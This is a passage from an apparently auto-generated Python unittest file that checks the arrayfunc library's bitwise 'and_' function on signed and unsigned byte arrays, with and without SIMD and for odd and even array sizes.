pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_b(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('b', xdata)
self.data2 = array.array('b', ydata)
self.dataout = array.array('b', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code b.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_b(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('b', xdata)
self.data2 = array.array('b', ydata)
self.dataout = array.array('b', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code b.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_B(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('B', xdata)
self.data2 = array.array('B', ydata)
self.dataout = array.array('B', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code B.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_B(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('B', xdata)
self.data2 = array.array('B', ydata)
self.dataout = array.array('B', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code B.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_B(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('B', xdata)
self.data2 = array.array('B', ydata)
self.dataout = array.array('B', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
